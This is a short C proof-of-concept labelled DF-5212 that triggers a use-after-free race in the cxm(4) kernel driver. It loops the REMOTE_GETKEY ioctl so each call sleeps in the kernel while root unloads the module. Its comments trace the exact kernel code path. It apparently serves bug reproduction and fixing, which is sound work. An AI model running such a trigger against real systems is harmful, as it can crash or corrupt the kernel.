DF-5212 / cxm_ir_getkey.c
/* * DF-5212 trigger (victim half) - cxm(4) REMOTE_GETKEY detach race. * * Issues REMOTE_GETKEY (_IOR('x', 71, struct bktr_remote), 3-byte OUT * payload, sys/dev/video/bktr/ioctl_bt848.h:266-269) against /dev/cxm0. * In the kernel this lands in cxm_ioctl (cxm.c:2306, no lock anywhere) * -> case REMOTE_GETKEY (cxm.c:2894-2898) -> cxm_ir_key (cxm_ir.c:100) * -> cxm_ir_read fails (or completes) -> tsleep 50 ms (cxm_ir.c:114) * -> second cxm_ir_read on sc->iicbus (cxm_ir.c:116). * * While this thread sleeps, a privileged `kldunload cxm` runs * cxm_detach (cxm.c:1944-2004): dev_ops_remove_minor only dead-vectors * NEW calls, so the sleeper resumes with the softc / iicbus torn down. * Loop this ioctl (each iteration parks >= 50 ms in-kernel) while root * unloads/reloads the module to hit the freed-softc window. * * On guests without Conexant iTVC15/16 PCI hardware (kldload cxm * succeeds but /dev/cxm0 never appears) this exits 3. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> struct bktr_remote { unsigned char data[3]; }; #define REMOTE_GETKEY _IOR('x', 71, struct bktr_remote) int main(void) { struct bktr_remote remote; int fd; fd = open("/dev/cxm0", O_RDONLY); if (fd < 0) { printf("hardware absent: open(/dev/cxm0): %s\n", strerror(errno)); return (3); } for (;;) { memset(&remote, 0, sizeof(remote)); if (ioctl(fd, REMOTE_GETKEY, &remote) < 0) { if (errno == ENXIO) continue; /* IR transact + retry cycle */ perror("REMOTE_GETKEY"); return (1); } printf("key: %02x %02x %02x\n", remote.data[0], remote.data[1], remote.data[2]); fflush(stdout); } /* NOTREACHED */ } |